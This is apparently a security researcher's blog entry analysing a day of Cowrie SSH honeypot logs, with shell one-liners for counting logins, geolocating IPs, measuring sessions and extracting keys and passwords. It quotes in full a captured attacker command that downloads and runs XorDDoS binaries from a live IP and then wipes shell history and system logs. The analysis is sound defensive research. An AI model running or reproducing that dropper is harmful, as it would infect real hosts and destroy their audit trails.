Honeypot Details:
Type: SSH
Software used: Cowrie
Results
We publish partial results in our GitHub repository
The repository includes passwords that were employed in brute‑force attacks, as well as SSH keys that have been used to maintain persistent access.
Tools Used: grep, jq, cut, cat, sort, uniq, file
29.09.25
In today’s journal entry I review the notable events and statistics collected by my Cowrie SSH honeypot on September 29, 2025.
The Cowrie instance runs on an isolated virtual machine to minimize risk and contain any interaction. I log all authentication attempts and record every command executed during attacker sessions. Command input and session metadata are retained for analysis, but any files that attackers attempt to create are not persisted to disk on this honeypot; the environment uses an emulated filesystem and does not store uploaded artifacts. This design choice reduces operational risk and simplifies recovery, but it also means I do not currently capture potential malware or dropped files.
Planned next steps: I will deploy a second, dedicated honeypot configured to capture and retain file artifacts and binaries for deeper forensic analysis. That secondary system will be isolated and instrumented to safely collect samples for static and dynamic inspection while preserving the containment and OPSEC posture of the current Cowrie deployment.
Cowrie stores all collected data in a cowrie.json log file. This file captures detailed information about authentication attempts, executed commands, session metadata, and other interactions with the honeypot.
Below are some example entries extracted from the JSON file generated by Cowrie:
{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"38749a7943fc","timestamp":"2025-09-29T20:58:40.655839Z","src_ip":"87.120.191.13","session":"51e74f48f036"}
{"eventid":"cowrie.session.connect","src_ip":"87.120.191.13","src_port":38722,"dst_ip":"172.26.0.2","dst_port":2222,"session":"50b8f390b79b","protocol":"ssh","message":"New connection: 87.120.191.13:38722 (172.26.0.2:2222) [session: 50b8f390b79b]","sensor":"38749a7943fc","timestamp":"2025-09-29T20:58:40.340065Z"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ftpuser","message":"login attempt [ubnt/ftpuser] failed","sensor":"38749a7943fc","timestamp":"2025-09-29T20:58:40.657900Z","src_ip":"87.120.191.13","session":"83f0f267918f"}Each entry in Cowrie is associated with an eventid, which allows us to track individual attacker actions throughout a session.
I have compiled a list of event IDs that Cowrie logs, providing an overview of the types of interactions and activities attackers perform on the honeypot.
Cowrie Event IDs
cowrie.client.fingerprint
ein angemeldeter SSH‑Public‑Key; username, fingerprint, key, type
cowrie.login.success
erfolgreiche Authentifizierung; username, password
cowrie.login.failed
fehlgeschlagene Authentifizierung; username, password
cowrie.client.size
Terminalgröße (SSH); width, height
cowrie.session.file_upload
hochgeladene Datei (z. B. via SFTP/SCP); filename, outfile, shasum
cowrie.command.input
vom Angreifer eingegebene Shell‑Befehle; input
cowrie.virustotal.scanfile
Datei an VirusTotal gesendet; sha256, is_new, positives, total
cowrie.session.connect
neue Verbindung (Session startet); src_ip, src_port, dst_ip, dst_port
cowrie.client.version
SSH‑Identification String; version
cowrie.client.kex
SSH Key‑Exchange Details; z. B. hassh, hasshAlgorithms, kexAlgs, keyAlgs
cowrie.session.closed
Session beendet; duration
cowrie.log.closed
TTY‑Log (session log) geschlossen; duration, ttylog (Dateiname), size, shasum, duplicate
cowrie.direct-tcpip.request
Anfrage zum Proxying (direct‑tcpip); dst_ip, dst_port, src_ip, src_port
cowrie.direct-tcpip.data
Daten, die über direct‑tcpip weitergeleitet werden sollten; dst_ip, dst_port
cowrie.client.var
variable Client‑Informationen; name, value
For an initial analysis I use grep to filter cowrie.json for specific eventid values. For today’s entry I will focus on the following areas:
- Unique logins & geolocation: identify distinct successful authentications and map source IPs to countries
- Notable executed commands: extract interesting or uncommon command sequences attackers ran
- Longest sessions: find sessions with the greatest duration or highest command count
- SSH keys: capture any public keys presented by clients or any key-related activity
- Passwords: collect attempted passwords used during authentication attempts
Unique logins & geolocation
To extract all login attempts, I search for the following events: cowrie.login.success and cowrie.login.failed.
I use the following command to search for these two events:
grep "cowrie.login.*" | jq -r '.src_ip' | sort | uniq
To find out how many IP addresses attempted to connect:
grep "cowrie.login.*" cowrie.json.2025-09-29 | jq -r '.src_ip' | sort | uniq | wc -l
> 41I now want to perform geolocation to generate statistics about the countries of the IP addresses.
For quick queries, I use the GeoIP tool. Unlike tools such as whois, GeoIP allows offline lookups, making it more efficient for bulk queries and simplifying the process of geolocating many IPs.
To generate statistics, we can use standard Linux tools. Here is a one-liner to create country statistics:
while read -r line; do geoiplookup "$line" | cut -d' ' -f5- >> countries.tmp; done < ips.txt; sort < countries.tmp | uniq -c | sort -rn ; rm countries.tmpThe result:
China is the clear leader for today, followed by the United States, with Romania taking third place.
Notable executed commands
Since traffic on the honeypot remains modest, we can generate an overview of all distinct commands executed to identify potential candidates for deeper analysis:
grep "cowrie.command.input" cowrie.json | jq -r '.input' | sort | uniq
As we can see, quite a lot is happening here. Most of this activity comes from scanners that spend the entire day probing the Internet for open SSH ports and attempting to log in using password lists. Targets can include dedicated and cloud servers, IoT devices, industrial systems, and more.
Data collected from honeypots can be useful for several reasons:
- IP Tracking: Attackers can be identified and reported.
- Behavior Analysis: Record and analyze attacker behavior within the honeypot.
- Malware Analysis: Track and store malware installed by attackers for further analysis.
Beyond the common background noise generated by these scanners, occasional attempts to install malware can be observed.
Here is what I found in today’s logs:
wdir="/bin"; for i in "/bin" "/home" "/root" "/tmp" "/usr" "/etc"; do; if [ -w $i ]; then; wdir=$i; break; fi; done; cd $wdir; curl http://23.160.56.64/p.txt -o ygljglkjgfg0; chmod +x ygljglkjgfg0; ./ygljglkjgfg0; wget http://23.160.56.64/p.txt -O ygljglkjgfg1; chmod +x ygljglkjgfg1; ./ygljglkjgfg1; good http://23.160.56.64/p.txt -O ygljglkjgfg2; chmod +x ygljglkjgfg2; ./ygljglkjgfg2; sleep 2; wget http://23.160.56.64/r.txt -O sdf3fslsdf13; chmod +x sdf3fslsdf13; ./sdf3fslsdf13; good http://23.160.56.64/r.txt -O sdf3fslsdf14; chmod +x sdf3fslsdf14; ./sdf3fslsdf14; curl http://23.160.56.64/r.txt -o sdf3fslsdf15; chmod +x sdf3fslsdf15; ./sdf3fslsdf15; sleep 2; mv /usr/bin/wget /usr/bin/good; mv /bin/wget /bin/good; cat /dev/null >/root/.bash_history; cat /dev/null > /var/log/wtmp; cat /dev/null > /var/log/btmp; cat /dev/null > /var/log/lastlog; cat /dev/null > /var/log/secure; cat /dev/null > /var/log/boot.log; cat /dev/null > /var/log/cron; cat /dev/null > /var/log/dmesg; cat /dev/null > /var/log/firewalld; cat /dev/null > /var/log/maillog; cat /dev/null > /var/log/messages; cat /dev/null > /var/log/spooler; cat /dev/null > /var/log/syslog; cat /dev/null > /var/log/tallylog; cat /dev/null > /var/log/yum.log; cat /dev/null >/root/.bash_history; ls -la /var/run/gcc.pid; exit $?
Security warning: Do not download the file unless you know what you’re doing!
I downloaded p.txt and took a closer look at the file. A quick inspection reveals that it is not a text file but an ELF binary.
> file p.txt
p.txt: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, strippedTo verify what type of malware this is, I uploaded the file to VirusTotal.
Now we know a bit more about the mysterious p.txt: it is the XorDDoS malware.
XorDDoS is a Linux-based malware that infects devices via weak SSH passwords or exposed services. It obfuscates its communication using XOR, turns infected systems into botnet nodes, and is primarily used to carry out DDoS attacks. Linux servers, IoT devices, and cloud systems are particularly targeted.
Read More about the XORDDoS Malware here:
Longest sessions
A beneficial side effect of operating a honeypot is the stolen time that scanners can never get back. Efficient botnet construction, when scanning the Internet for open ports, depends on speed. Smart scanners will ideally detect honeypots early and terminate the session once identified; any time an attacker spends on our honeypot is time they cannot use to infect other systems. With only a few honeypots this effect is marginal, but it scales: the more honeypots deployed across the Internet, the more attacker time is wasted.
I generate time-based statistics from the cowrie.session.closed event, since it includes session duration information.
In the log it looks like this:
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"38749a7943fc","timestamp":"2025-09-29T23:57:44.723554Z","src_ip":"92.118.39.62","session":"33b169382dae"}To generate concrete statistics from that, I use the following command:
cat cowrie.json.2025-09-29 | grep "cowrie.session.closed" | cut -d':' -f4 | cut -d' ' -f 4 | sort | uniq | sort -rn | head
The longest session therefore lasted 274 minutes, i.e. about 4 hours 34 minutes
Now I want to calculate the total time all attackers spent on my system. For that I reuse my previous query and use awk to sum all durations.
cat cowrie.json.2025-09-29 | grep "cowrie.session.closed" | cut -d':' -f4 | cut -d' ' -f 4 | sort | uniq | sort -rn | awk '{for(i=1;i<=NF;i++) sum+=$i} END{print sum/60}'
> 30.6267Overall, attackers spent 30 minutes on the system that day. That may seem insignificant at first, but it scales dramatically when extrapolated across hundreds or thousands of honeypots.
SSH-Keys
To gain persistent access, attackers often try to install SSH keys. These can provide valuable indicators to identify attackers early or attribute attacks to a particular actor. Since I have only found RSA public keys in the logs so far, I will explicitly search for those. However, attackers could theoretically use other algorithms for their SSH keys, so this command would need to be adjusted accordingly, currently I only filter for RSA keys. To extract these from the logs I use the following command:
cat cowrie.json | grep -o 'ssh-rsa A[A-Za-z0-9+/=]\+' | sort | uniqIf you want to scan for other SSH public keys, consider searching for ecdsa-sha2-*, ssh-ed25519, or ssh-dss as well.
Note: In my GitHub repository you can find all logs and analyses I have collected.
Passwords
Another interesting aspect is generating a password list from the attackers’ login attempts. These password lists can be used to verify the strength of our own passwords, but also for other purposes such as detecting default credentials that may be embedded in applications. Such defaults are frequently abused to build botnets and remain a persistent problem, partly because some vendors do not take it seriously or, in some cases, include weak credentials intentionally.
To filter the passwords from today’s log I use the following command:
cat cowrie.json.2025-09-29 | grep "cowrie.login.*" | cut -d':' -f3,4 | cut -d '"' -f2,6 | grep -v '^"' | sed 's/"/:/' | sort | uniq
In total, I was able to identify 855 unique passwords for today.
Note: In my GitHub repository you can find all logs and analyses I have collected.